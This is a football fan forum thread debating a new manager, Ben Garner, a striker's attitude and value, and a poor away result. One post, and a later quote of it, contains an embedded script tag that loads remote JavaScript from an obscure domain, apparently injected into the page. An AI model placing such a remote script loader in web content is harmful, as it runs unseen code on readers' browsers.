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Post by Topper Gas on Jan 2, 2020 13:19:53 GMT
No way will we get 1.5m for him. More like half of that. Strange that the Peterborough chairman values him a lot more than some of our fans on here. To sell him for £750k would be a total embarrassment. If we do then it'll be a decent effort by JCH to have managed to cut his value in half since those contact talks failed a few months ago!
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Post by Deleted on Jan 2, 2020 13:26:34 GMT
It just goes to show how fickle prevailing mood can be - literally 2 weeks ago we were aiming for promotion, JCH was worth 3 million and we were worried if we could keep hold of him.
2 weeks later we were heading for relegation under GC because everyone had him figured out, JCH is barely worth 750k and if he wants to leave he knows where the door is.
Good grief.....
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Post by Topper Gas on Jan 2, 2020 13:26:54 GMT
"OK somebody comes in and plays exactly the same way and maintain results is that really what you want??"
So who doesn't want to have been potentially second today and still in two cups? Seems with the owners salary constraints then we either play the GC way and win or fancy football and lose, I know which I'd prefer, if BG is really going to change the whole way we play he's a mammoth task on her hands.
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Post by RD on Jan 2, 2020 13:29:50 GMT
My worry with Ben Garner is that he strikes me as a coach - not a manager; which ultimately is all he had ever been until now. I don't mean any malice by it, and I will get behind him 100%. But he's not charismatic (IMO) and I can't imagine him ever putting a firework up someone's arse (fact is it will be required from time to time) and the football he wants to play will be difficult at this level without having a pretty substantial budget you'd imagine (i.e. highly technical players at this level won't be easy to come by and will likely cost a pretty penny as a result) - and you'd very much doubt he's likely to be given the budget to do that. Certain managers (and indeed players) fit better at certain clubs. And I just worry Garner would be better suited to a Peterborough or a Sunderland, Pompey etc - dare I say it, even a Mansfield! (given their supposed resources).
Obviously I'm not writing him off - and I really hope he proves me wrong. But those are my concerns nonetheless.
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Post by baggins on Jan 2, 2020 13:44:52 GMT
My worry with Ben Garner is that he strikes me as a coach - not a manager; which ultimately is all he had ever been until now. I don't mean any malice by it, and I will get behind him 100%. But he's not charismatic (IMO) and I can't imagine him ever putting a firework up someone's arse (fact is it will be required from time to time) and the football he wants to play will be difficult at this level without having a pretty substantial budget you'd imagine (i.e. highly technical players at this level won't be easy to come by and will likely cost a pretty penny as a result) - and you'd very much doubt he's likely to be given the budget to do that. Certain managers (and indeed players) fit better at certain clubs. And I just worry Garner would be better suited to a Peterborough or a Sunderland, Pompey etc - dare I say it, even a Mansfield! (given their supposed resources). Obviously I'm not writing him off - and I really hope he proves me wrong. But those are my concerns nonetheless. Lg1 table still looks one hell of a lot better than it did this time last year.
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Post by Blackbeard on Jan 2, 2020 14:04:36 GMT
Thanks for the report
Was due to travel but circumstances overtook and seems I had a lucky escape
Can’t help thinking what if we’d managed to beat Wimbledon on Boxing Day ....... second place with momentum ..however
I think the starting 11 (give or take ) are completely fried and the enormity of hitting these heights finally sunk in
Craig might well have been off the pace. He’s 34 and we are asking for above and beyond. What a season the guy has had. They all have really .
No team can keep up this level of over achievement without substantial back up from the bench
GC told it how it was in his final few games naming the youth in his squad
Garner failed to take 2 strikers with him yesterday leaving young Phillips at home. A team screaming for pace, fresh legs and the fearlessness of youth
I’m behind BG because I have to be but a tired team losing 3-0 is just as damning as trying something different. The upside being a few would have got a decent rest ahead of the FA Cup match......
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Post by BelieveItWhenIAmSatInIt on Jan 2, 2020 14:31:18 GMT
The fans were quiet because from minute 1 it was very very obvious that we were out of our depth and the team really didn't give the fans much to get excited about. On the subject of the fans, I make a particular point of watching the reaction of the players at the full time whistle given the circumstances.... Most gave a very half hearted look over to the fans and clapped us, but the one who stood out was JCH... The very millisecond the whistle blew he stomped off down the tunnel very clearly unhappy. That is not on at all! To be honest, his attitude stunk for the whole game and he looked like a man who would rather be somewhere else in my opinion. Any offers of £1.5M or above and we need to get rid IMO. That is of course assuming that at least 50% of that is then reinvested in the squad...... From minute 1?? We nearly scored twice before the keeper got injured. Think that changed the game, a bit harsh to say from minute 1. Yep, from what I watched they were a class above us form the first whistle.
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Post by Congas on Jan 2, 2020 14:34:49 GMT
I don't blame Ben Garner, believe his appointment was really badly mistimed though. Bringing in someone new from outside of the club really could have and should have waited until today at least. Yeah, I feel the same way. What with the injuries and everything it might have been wiser to keep it as it was over the holiday period. Garner's had no time on the training ground, just planning for the next game basically. As for Garner being well spoken, so were Coughlan's two assistants who took up the reins after him. Coughlan built his team from the back, just like the manual says, so Garner inherited a pretty solid defence, though you wouldn't have known it on yesterday's showing. I've never seen Craig so irritated before. Him and Clarke-Harris made a fine pair :-). I can only surmise that GC was looking to bolster the midfield and attack during the window to complete his overhaul and go from there. We need to maintain the urgency and competitive edge instilled in us by GC and build from there.
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Post by tommym9 on Jan 2, 2020 14:44:29 GMT
Thanks for the write up Steve. Praying we turn up on Sunday otherwise it could be a cricket score!
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Post by romangas on Jan 2, 2020 15:01:15 GMT
Post by RoverDriver My worry with Ben Garner is that he strikes me as a coach - not a manager.......this hit's the nail on the head.
Seen BennyG a few times on his press briefings, and he can certainly talk the talk. Like it or not, GC got results, points accrued. He was an old timer, passionate about the Gas and all it stood for. It was never pretty football. Will BG be able to throw a few F's into some of the ones that may need it and stamp his authority. I watched JCH strutting around like a peacock yesterday, looking down his nose like he should be somewhere else. BG needs to sort him out....GC clearly got the best out of him. Time to walk the walk Ben. UTG.<script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script>
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Post by Kingswood Polak on Jan 2, 2020 15:35:29 GMT
For balance, I did not hear a single slur aimed at BG at yesterdays game. I think that most (if not all) proper fans completely understand that a) we were probably in a bit of a false position when he took over and b) that it will take time for him to implement his style on the team and therefore has a period of grace whilst he attempts to do so. I do not have facebook and perhaps that is why I have not really been aware of any negativity towards BG........ Perhaps that speaks volumes? Thanks for that as, if you do have social media then it’s been said that there was a lot of abuse aimed at him so it’s good to hear this from someone who was there. Can you say how far away from Garner you were ? Thanks
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Post by Fetch on Jan 2, 2020 15:40:14 GMT
Post by RoverDriver My worry with Ben Garner is that he strikes me as a coach - not a manager.......this hit's the nail on the head. Seen BennyG a few times on his press briefings, and he can certainly talk the talk. Like it or not, GC got results, points accrued. He was an old timer, passionate about the Gas and all it stood for. It was never pretty football. Will BG be able to throw a few F's into some of the ones that may need it and stamp his authority. I watched JCH strutting around like a peacock yesterday, looking down his nose like he should be somewhere else. BG needs to sort him out....GC clearly got the best out of him. Time to walk the walk Ben. UTG.<script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> Not sure how he can walk the walk when half our squad can't even walk.
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Post by RD on Jan 2, 2020 16:07:00 GMT
My worry with Ben Garner is that he strikes me as a coach - not a manager; which ultimately is all he had ever been until now. I don't mean any malice by it, and I will get behind him 100%. But he's not charismatic (IMO) and I can't imagine him ever putting a firework up someone's arse (fact is it will be required from time to time) and the football he wants to play will be difficult at this level without having a pretty substantial budget you'd imagine (i.e. highly technical players at this level won't be easy to come by and will likely cost a pretty penny as a result) - and you'd very much doubt he's likely to be given the budget to do that. Certain managers (and indeed players) fit better at certain clubs. And I just worry Garner would be better suited to a Peterborough or a Sunderland, Pompey etc - dare I say it, even a Mansfield! (given their supposed resources). Obviously I'm not writing him off - and I really hope he proves me wrong. But those are my concerns nonetheless. Lg1 table still looks one hell of a lot better than it did this time last year. Agreed mate, but that's absolutely nothing to do with BG. Fact is it also looked a lot better before he took over. Don't get me wrong, I'd be happy to finish where we are currently - but not expecting to personally.
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Post by BelieveItWhenIAmSatInIt on Jan 2, 2020 17:11:53 GMT
For balance, I did not hear a single slur aimed at BG at yesterdays game. I think that most (if not all) proper fans completely understand that a) we were probably in a bit of a false position when he took over and b) that it will take time for him to implement his style on the team and therefore has a period of grace whilst he attempts to do so. I do not have facebook and perhaps that is why I have not really been aware of any negativity towards BG........ Perhaps that speaks volumes? Thanks for that as, if you do have social media then it’s been said that there was a lot of abuse aimed at him so it’s good to hear this from someone who was there. Can you say how far away from Garner you were ? Thanks Other side of the pitch mate, but then again so was the rest of our fans, so there is almost 0 chance that even in anything was said that BG would have even heard it. As I say though, whilst I heard lots of negativity aimed at some of the players (a lot I heard as it came directly out of my mouth!!) I did not hear anything aimed at the manager himself.
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Post by Kingswood Polak on Jan 2, 2020 17:19:50 GMT
Thanks for that as, if you do have social media then it’s been said that there was a lot of abuse aimed at him so it’s good to hear this from someone who was there. Can you say how far away from Garner you were ? Thanks Other side of the pitch mate, but then again so was the rest of our fans, so there is almost 0 chance that even in anything was said that BG would have even heard it. As I say though, whilst I heard lots of negativity aimed at some of the players (a lot I heard as it came directly out of my mouth!!) I did not hear anything aimed at the manager himself. Thank you. Just reinforces my belief in not taking social media as truthful. I hope he doesn’t read the forum though !
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Post by lpgas on Jan 2, 2020 17:47:54 GMT
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Post by stapletongas on Jan 2, 2020 17:52:09 GMT
Watched on ifollow.
Trying to make up my mind whether that performance was the product of a knackered, injury thread bare squad, or Garner starting to to change this bunch into something they are not, or Garner not being the tea cup chucker Coughlan probably was which they need to get a performance out of them.
I hope it was 1 and not 2 or 3, otherwise we may be in trouble.
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Post by chilly1883 on Jan 2, 2020 18:01:40 GMT
Pretty much exactly as I saw it, awful game from the start, no atmosphere, not seen our fans so quiet in a long time. Pretty appalling behaviour by some so called fans, to slate a manager, who’s been through the door only 9 days. C’mon, really? Get a grip and get behind the team. The fans were quiet because from minute 1 it was very very obvious that we were out of our depth and the team really didn't give the fans much to get excited about. On the subject of the fans, I make a particular point of watching the reaction of the players at the full time whistle given the circumstances.... Most gave a very half hearted look over to the fans and clapped us, but the one who stood out was JCH... The very millisecond the whistle blew he stomped off down the tunnel very clearly unhappy. That is not on at all! To be honest, his attitude stunk for the whole game and he looked like a man who would rather be somewhere else in my opinion. Any offers of £1.5M or above and we need to get rid IMO. That is of course assuming that at least 50% of that is then reinvested in the squad...... i agree with your assessment of JCH, he really looked like he didn’t want to be out there, but the atmosphere was dead from the minute I walked into the stadium, absolutely no chanting whatsoever. I shan’t be rushing back to that ground!
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Post by Hudson1883 on Jan 2, 2020 19:48:12 GMT
The fans were quiet because from minute 1 it was very very obvious that we were out of our depth and the team really didn't give the fans much to get excited about. On the subject of the fans, I make a particular point of watching the reaction of the players at the full time whistle given the circumstances.... Most gave a very half hearted look over to the fans and clapped us, but the one who stood out was JCH... The very millisecond the whistle blew he stomped off down the tunnel very clearly unhappy. That is not on at all! To be honest, his attitude stunk for the whole game and he looked like a man who would rather be somewhere else in my opinion. Any offers of £1.5M or above and we need to get rid IMO. That is of course assuming that at least 50% of that is then reinvested in the squad...... i agree with your assessment of JCH, he really looked like he didn’t want to be out there, but the atmosphere was dead from the minute I walked into the stadium, absolutely no chanting whatsoever. I shan’t be rushing back to that ground! Yet some MK Dons supporters actually play up to the fact they stole a football club. They must be overjoyed with that match day experience every other week. It truly is an awful place.
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Post by Squiffy on Jan 2, 2020 20:21:40 GMT
My worry with Ben Garner is that he strikes me as a coach - not a manager; which ultimately is all he had ever been until now. I don't mean any malice by it, and I will get behind him 100%. But he's not charismatic (IMO) and I can't imagine him ever putting a firework up someone's arse (fact is it will be required from time to time) and the football he wants to play will be difficult at this level without having a pretty substantial budget you'd imagine (i.e. highly technical players at this level won't be easy to come by and will likely cost a pretty penny as a result) - and you'd very much doubt he's likely to be given the budget to do that. Certain managers (and indeed players) fit better at certain clubs. And I just worry Garner would be better suited to a Peterborough or a Sunderland, Pompey etc - dare I say it, even a Mansfield! (given their supposed resources). Obviously I'm not writing him off - and I really hope he proves me wrong. But those are my concerns nonetheless. GC always gave me the impression that he wouldn’t take any prisoners/punch your lights out if you got on the wrong side of him, which commanded respect, whereas BG looks like he might just be “extremely disappointed” and whip out a fines spreadsheet.
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